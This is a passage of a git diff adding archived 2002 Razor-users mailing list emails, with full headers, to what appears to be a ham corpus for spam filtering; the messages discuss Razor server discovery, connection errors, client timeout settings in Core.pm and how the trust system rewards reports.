https://lists.sourceforge.net/lists/listinfo/razor-users +> + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00625.bbf5ca2daab931ec64d953936f25f0b9 b/bayes/spamham/easy_ham_2/00625.bbf5ca2daab931ec64d953936f25f0b9 new file mode 100644 index 0000000..1084f61 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00625.bbf5ca2daab931ec64d953936f25f0b9 @@ -0,0 +1,100 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 70FCB44101 + for ; Tue, 13 Aug 2002 05:19:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:41 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D1Jab12235 for ; Tue, 13 Aug 2002 02:19:36 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eQE7-00060l-00; Mon, + 12 Aug 2002 18:12:03 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17eQDk-0006hK-00 for + ; Mon, 12 Aug 2002 18:11:40 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7D19q702576; Mon, 12 Aug 2002 18:09:52 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Raghavendra Bhat +Cc: razor-users@example.sourceforge.net +Message-Id: <20020813010952.GF11270@nexus.cloudmark.com> +References: <20020810051803.GA4315@gnuhead.dyndns.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020810051803.GA4315@gnuhead.dyndns.org> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: Reporting: connection refused +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 18:09:52 -0700 +Date: Mon, 12 Aug 2002 18:09:52 -0700 + + You should not be reporting spam to 64.90.187.2 (apt). + + You need to report only to nomination servers, which, like + catalogue servers, can and will be changed, and are + set by the discovery servers. Razor agents do discovery + for you automatically, storing server names in .razor/*.lst files + + -chad + + +On 10/08/02 10:48 +0530, Raghavendra Bhat wrote: +) Hello List: +) +) I have been using Razor for quite a while. I have been reporting spam +) to the server at 64.90.187.2 from mutt. +) +) I am unable to report as of the past two days. The message which is +) echoed back says 'Connection refused'. +) +) Am I doing some brain dead thing ? If not are there other reporting +) servers ? +) +) -- +) ragOO, VU2RGU<->http://gnuhead.dyndns.org/<->GPG: 1024D/F1624A6E +) Helping to keep the Air-Waves FREE Amateur Radio +) Helping to keep your Software FREE the GNU Project +) Helping to keep the W W W FREE Debian GNU/${kernel} +) +) +) ------------------------------------------------------- +) This sf.net email is sponsored by:ThinkGeek +) Welcome to geek heaven. +) http://thinkgeek.com/sf +) _______________________________________________ +) Razor-users mailing list +) Razor-users@lists.sourceforge.net +) https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00626.d1d8532700598e8cd3f542f919274a6b b/bayes/spamham/easy_ham_2/00626.d1d8532700598e8cd3f542f919274a6b new file mode 100644 index 0000000..4beb6ae --- /dev/null +++ b/bayes/spamham/easy_ham_2/00626.d1d8532700598e8cd3f542f919274a6b @@ -0,0 +1,105 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 85B1044103 + for ; Tue, 13 Aug 2002 05:19:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:44 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D1Ycb12492 for ; Tue, 13 Aug 2002 02:34:38 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eQRg-0008My-00; Mon, + 12 Aug 2002 18:26:04 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17eQQw-0001mH-00 for + ; Mon, 12 Aug 2002 18:25:18 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7D1NYN03064; Mon, 12 Aug 2002 18:23:34 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Sven +Cc: razor-users@example.sourceforge.net +Message-Id: <20020813012334.GG11270@nexus.cloudmark.com> +References: <004601c24007$c4ba5610$0201a8c0@homediet> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <004601c24007$c4ba5610$0201a8c0@homediet> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: Questions on miscellaneous errata and issues +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 18:23:34 -0700 +Date: Mon, 12 Aug 2002 18:23:34 -0700 + +On 09/08/02 20:49 -0400, Sven wrote: +) In tweaking my system to try to optimize the use of razor (this now from a network/connection/etc standpoint, not so much from a philosphical stance on what is or is not considered spam and who should decide it) I have come across a couple issues that I hope I may be able to get some relief on ... +) +) 1) What *exactly* does "Unable to connect to honor.cloudmark.com:2703; Reason: Operation now in progress." mean ??? I have seen this error message some 1700 times today (between 2 clustered servers) representing a little over 1% failure rate. In an enterprise level I was hoping for more along the lines of maybe one-tenth that ..... + + It's a network error - That string is not created by + Razor Agents. Its trying to connect and having trouble. + 1700 times seems abnormally high. How many successful + connections were there in the same timespan? + + +) 2) Related somewhat to question 1: is there (or will there be if currently not) a way of adjusting the timeout the setting for the razor-check to await a response from the server it queries? I am running this as a sendmail milter and adjusting the milter timeouts won't help if the razor-check script times out first anyway .... + + The timeout is hardcoded to 15 secs. + No plans right now to make that an option. + You can always edit the source - Core.pm. :) + + +) 3) What are the plans for fire.cloudmark, apt.cloudmark, ubik.cloudmark? It seems that we have all these catalogue servers yet a good portion of the time, only one is available or the last discovery ends up only listing one (currently honor.cloudmark) in the cataloge.lst file. + + The system is designed so servers can be added and + subtracted without the clients caring - if the razor + client can't connect to a server, it re-discovers, getting + all currently available servers and stores results locally. + + +) 4) What would be the implications/requirements/caveats of hosting a catalogue server or, at the minimum, a caching server (similar to the way mail-abuse.org, for example, does dns zone transfers of its rbl list -- I realize that this is a completely different mechanism, but you get the point I am driving at here). I realize that there is an issue of polluting the catalogue but perhpas there could be some way of certifying a catalogue server? What type of bandwidth considerations are we looking at here? (It is just the signatures that are actually transferred across the pipes, is it not?) + + We are looking into releasing caching catalogue servers + for those besides us to use. + + +) It really looks like there is a great potential here for a very workable tool and if I can get some of these issues addressed or can even be of some assistance, all the better ..... +) +) Sven Willenberger +) Systems Administration +) Delmarva Online, Inc. + + + Thanks! + + -chad + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00627.31852759f370656c49f987fd28fed691 b/bayes/spamham/easy_ham_2/00627.31852759f370656c49f987fd28fed691 new file mode 100644 index 0000000..959e714 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00627.31852759f370656c49f987fd28fed691 @@ -0,0 +1,216 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:24:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E109D44108 + for ; Tue, 13 Aug 2002 05:20:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:20:02 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D2lxb14175 for ; Tue, 13 Aug 2002 03:47:59 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eRYM-0005ce-00; Mon, + 12 Aug 2002 19:37:02 -0700 +Received: from smtp-gw-cl-a.dmv.com ([64.45.128.110]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17eRYF-0003Dr-00 for + ; Mon, 12 Aug 2002 19:36:56 -0700 +Received: from homediet (dogpound.dyndns.org [64.45.134.154]) by + smtp-gw-cl-a.dmv.com (8.12.3/8.12.3) with SMTP id g7D2VfCx091564; + Mon, 12 Aug 2002 22:31:41 -0400 (EDT) (envelope-from sven@dmv.com) +Message-Id: <000b01c24272$838d5da0$0201a8c0@homediet> +From: "Sven" +To: +Cc: +References: +Subject: Re: [Razor-users] Re: Questions on miscellaneous errata and issues +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 22:38:31 -0400 +Date: Mon, 12 Aug 2002 22:38:31 -0400 + + +----- Original Message ----- +> Date: Mon, 12 Aug 2002 18:23:34 -0700 +> From: Chad Norwood +> To: Sven +> Cc: razor-users@example.sourceforge.net +> Subject: [Razor-users] Re: Questions on miscellaneous errata and issues +> +> On 09/08/02 20:49 -0400, Sven wrote: +> ) In tweaking my system to try to optimize the use of razor (this now from +a network/connection/etc standpoint, not so much from a philosphical stance +on what is or is not considered spam and who should decide it) I have come +across a couple issues that I hope I may be able to get some relief on ... +> ) +> ) 1) What *exactly* does "Unable to connect to honor.cloudmark.com:2703; +Reason: Operation now in progress." mean ??? I have seen this error message +some 1700 times today (between 2 clustered servers) representing a little +over 1% failure rate. In an enterprise level I was hoping for more along the +lines of maybe one-tenth that ..... +> +> It's a network error - That string is not created by +> Razor Agents. Its trying to connect and having trouble. +> 1700 times seems abnormally high. How many successful +> connections were there in the same timespan? +> + +Today was not as bad ... apt.cloudmark was the server du jour and +experienced about 800 "Unable to connect .... Reason: Operation now in +progress" out of some 189,000 "bootup[1]" or roughly 0.5% -- better than +the 1% before but still a bit higher than I would like. I suspect it is +because a previous timeout from razor-agents has a process id that is being +held by an open milter socket. The process id's cycle, the number comes up +again and the error occurs as a duplicate pid occurs. I will tweak my milter +settings to shorten the total time to allow the socket to live per connect. + +> +> ) 2) Related somewhat to question 1: is there (or will there be if +currently not) a way of adjusting the timeout the setting for the +razor-check to await a response from the server it queries? I am running +this as a sendmail milter and adjusting the milter timeouts won't help if +the razor-check script times out first anyway .... +> +> The timeout is hardcoded to 15 secs. +> No plans right now to make that an option. +> You can always edit the source - Core.pm. :) + +In looking at Core.pm I find a couple possible places where that code might +be. Is it: + my $select = new IO::Select ($sock); + my @handles = $select->can_read (15); + if ($handles[0]) { + $self->log (8,"Connection established"); + my $greeting = <$sock>; + # $sock->autoflush; # this is on by default as of IO::Socket 1.18 + $self->{sock} = $sock; + $self->{connected_to} = $server; + $self->{select} = $select; + $self->log(4,"$server >> ". length($greeting) ." server greeting: +$greeting"); + + return 1 if $params{discovery_server}; + unless ($self->parse_greeting($greeting) ) { + $self->nextserver or return $self->errprefix("connect2"); + return $self->connect; + } + return 1; + } else { + $self->log (3, "Timed out (15 sec) while reading from +$self->{s}->{ip}."); +?????? +or + unless ($sock) { + $sock = IO::Socket::INET->new( + PeerAddr => $server, + PeerPort => $port, + Proto => 'tcp', + Timeout => 20, + ); + unless ( $sock ) { + $self->log (3,"Unable to connect to $server:$port; Reason: +$!."); + return if $params{discovery_server}; + $self->nextserver or return $self->errprefix("connect1"); + return $self->connect; + } + } +?????? +[of course the latter reflects a differenct timeout setting altogether - one +part for proxy, the other for non-proxy] + +> +> +> ) 3) What are the plans for fire.cloudmark, apt.cloudmark, ubik.cloudmark? +It seems that we have all these catalogue servers yet a good portion of the +time, only one is available or the last discovery ends up only listing one +(currently honor.cloudmark) in the cataloge.lst file. +> +> The system is designed so servers can be added and +> subtracted without the clients caring - if the razor +> client can't connect to a server, it re-discovers, getting +> all currently available servers and stores results locally. +> + +I changed the default discovery period to every 12 hours in order to +compensate for the recent sporadic nature of the servers' availability (I +realize that the issue was related to syncing and server upgrades .... but I +might as well play it safe for a while). + +> +> ) 4) What would be the implications/requirements/caveats of hosting a +catalogue server or, at the minimum, a caching server (similar to the way +mail-abuse.org, for example, does dns zone transfers of its rbl list -- I +realize that this is a completely different mechanism, but you get the point +I am driving at here). I realize that there is an issue of polluting the +catalogue but perhpas there could be some way of certifying a catalogue +server? What type of bandwidth considerations are we looking at here? (It is +just the signatures that are actually transferred across the pipes, is it +not?) +> +> We are looking into releasing caching catalogue servers +> for those besides us to use. + +If I can be of help or if you have details about to participate in this +portion (caching or catalogueing), please let me know. + +> +> +> ) It really looks like there is a great potential here for a very workable +tool and if I can get some of these issues addressed or can even be of some +assistance, all the better ..... +> ) +> ) Sven Willenberger +> ) Systems Administration +> ) Delmarva Online, Inc. +> +> +> Thanks! +> +> -chad +> +> +> +> --__--__-- +> +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> +> +> End of Razor-users Digest + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00628.f03f3008b1f1621e0df41f75d5ffcd58 b/bayes/spamham/easy_ham_2/00628.f03f3008b1f1621e0df41f75d5ffcd58 new file mode 100644 index 0000000..b9f209b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00628.f03f3008b1f1621e0df41f75d5ffcd58 @@ -0,0 +1,106 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:25:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C79734410A + for ; Tue, 13 Aug 2002 05:20:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:20:15 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D3Rpb15395 for ; Tue, 13 Aug 2002 04:27:52 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eSC2-0005lX-00; Mon, + 12 Aug 2002 20:18:02 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17eSBc-0002wh-00 for + ; Mon, 12 Aug 2002 20:17:36 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7D3FtA07331; Mon, 12 Aug 2002 20:15:55 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Sven +Cc: razor-users@example.sourceforge.net +Message-Id: <20020813031555.GB3402@nexus.cloudmark.com> +References: + <000b01c24272$838d5da0$0201a8c0@homediet> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <000b01c24272$838d5da0$0201a8c0@homediet> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: Questions on miscellaneous errata and issues +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 20:15:55 -0700 +Date: Mon, 12 Aug 2002 20:15:55 -0700 + +On 12/08/02 22:38 -0400, Sven wrote: +) +) > The timeout is hardcoded to 15 secs. +) > No plans right now to make that an option. +) > You can always edit the source - Core.pm. :) +) + + Correction - It is 15 secs for read/write, + but 20 secs for initial connect. + +) In looking at Core.pm I find a couple possible places where that code might +) be. Is it: + + So if you want to adjust the initial connect timeout, + edit Core.pm:1622 in version 2.14 + For reads and writes, lines 1463, 1481. + + +) > The system is designed so servers can be added and +) > subtracted without the clients caring - if the razor +) > client can't connect to a server, it re-discovers, getting +) > all currently available servers and stores results locally. +) > +) +) I changed the default discovery period to every 12 hours in order to +) compensate for the recent sporadic nature of the servers' availability (I +) realize that the issue was related to syncing and server upgrades .... but I +) might as well play it safe for a while). + + If a server is taken out the clients will connect, fail, re-discover + automatically, save results, and continue to use the other servers. + You don't *need* to change anything, it will all work out. + +) > We are looking into releasing caching catalogue servers +) > for those besides us to use. +) +) If I can be of help or if you have details about to participate in this +) portion (caching or catalogueing), please let me know. + + ok, thanks. + + -chad + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00629.822888a70c5b689638ff332eea661e6f b/bayes/spamham/easy_ham_2/00629.822888a70c5b689638ff332eea661e6f new file mode 100644 index 0000000..bf4d829 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00629.822888a70c5b689638ff332eea661e6f @@ -0,0 +1,88 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:25:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 502774410C + for ; Tue, 13 Aug 2002 05:20:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:20:20 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D3dab15774 for ; Tue, 13 Aug 2002 04:39:37 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eSRW-0002k1-00; Mon, + 12 Aug 2002 20:34:02 -0700 +Received: from adsl-67-116-61-34.dsl.sntc01.pacbell.net ([67.116.61.34] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17eSR0-0006gP-00 for + ; Mon, 12 Aug 2002 20:33:30 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g7D3XRV01298; Mon, 12 Aug 2002 20:33:27 -0700 +From: Vipul Ved Prakash +To: "Craig R . Hughes" +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Message-Id: <20020812203326.A1211@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: "Craig R . Hughes" , + razor-users@lists.sf.net +References: + <59556AF6-AE1A-11D6-A15F-00039396ECF2@deersoft.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <59556AF6-AE1A-11D6-A15F-00039396ECF2@deersoft.com>; + from craig@deersoft.com on Mon, Aug 12, 2002 at 10:38:44AM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 20:33:26 -0700 +Date: Mon, 12 Aug 2002 20:33:26 -0700 + +On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote: +> This is, I think the biggest fallacy here. You don't have to +> block jack shit to get a high trust rating, you just have to +> confirm Razor's existing opinion on a large number of messages: +> +> if(check() == spam) then submit() else revoke() +> +> That algorithm boosts trust, but reduces the information in +> SpamNet by damping. + +Again, this is not true. Only certain events (reports/revokes) for a spam +are rewarded and the algorithm for picking these up is based on many +different factors. + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00630.049b94ad0f9919c1f39408adb4efddad b/bayes/spamham/easy_ham_2/00630.049b94ad0f9919c1f39408adb4efddad new file mode 100644 index 0000000..7b4a7a1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00630.049b94ad0f9919c1f39408adb4efddad @@ -0,0 +1,84 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:25:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA0314410D + for ; Tue, 13 Aug 2002 05:20:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:20:21 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D3tvb16140 for ; Tue, 13 Aug 2002 04:55:58 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eShJ-000081-00; Mon, + 12 Aug 2002 20:50:21 -0700 +Received: from fly.hiwaay.net ([208.147.154.56] helo=mail.hiwaay.net) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17eSgv-00023C-00 for + ; Mon, 12 Aug 2002 20:49:57 -0700 +Received: from bsd.havk.org (user-24-214-34-165.knology.net + [24.214.34.165]) by mail.hiwaay.net (8.12.5/8.12.5) with ESMTP id + g7D3nq2j273171 for ; Mon, + 12 Aug 2002 22:49:53 -0500 (CDT) +Received: by bsd.havk.org (Postfix, from userid 1001) id 945F11A786; + Mon, 12 Aug 2002 22:49:51 -0500 (CDT) +From: Steve Price +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Message-Id: <20020813034951.GG356@bsd.havk.org> +References: + <59556AF6-AE1A-11D6-A15F-00039396ECF2@deersoft.com> + <20020812203326.A1211@rover.vipul.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812203326.A1211@rover.vipul.net> +User-Agent: Mutt/1.3.27i +X-Operating-System: FreeBSD 4.5-PRERELEASE i386 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 22:49:51 -0500 +Date: Mon, 12 Aug 2002 22:49:51 -0500 + +On Mon, Aug 12, 2002 at 08:33:26PM -0700, Vipul Ved Prakash wrote: +> On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote: +>> +>> if(check() == spam) then submit() else revoke() +>> +>> That algorithm boosts trust, but reduces the information in +>> SpamNet by damping. +> +> Again, this is not true. Only certain events (reports/revokes) for a spam +> are rewarded and the algorithm for picking these up is based on many +> different factors. + +A lot of the questions/concerns brought up on this list wrt +TeS will be lessened when the source for it is released. Any +guestimate on when that might happen? + +-steve + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00631.3f9351806af9a88f93169ee3416e4502 b/bayes/spamham/easy_ham_2/00631.3f9351806af9a88f93169ee3416e4502 new file mode 100644 index 0000000..fee3ace --- /dev/null +++ b/bayes/spamham/easy_ham_2/00631.3f9351806af9a88f93169ee3416e4502 @@ -0,0 +1,181 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 16:43:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38F1643C34 + for ; Tue, 13 Aug 2002 11:43:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 16:43:24 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DFgam06826 for ; Tue, 13 Aug 2002 16:42:36 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17edjF-0005fn-00; Tue, + 13 Aug 2002 08:37:05 -0700 +Received: from [198.69.163.205] (helo=mars.alphacomm.net) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17edis-0007z6-00 for ; Tue, + 13 Aug 2002 08:36:42 -0700 +Received: (qmail 27295 invoked from network); 13 Aug 2002 15:42:28 -0000 +Received: from unknown (HELO MIKEH) (198.69.163.13) by 198.69.163.205 with + SMTP; 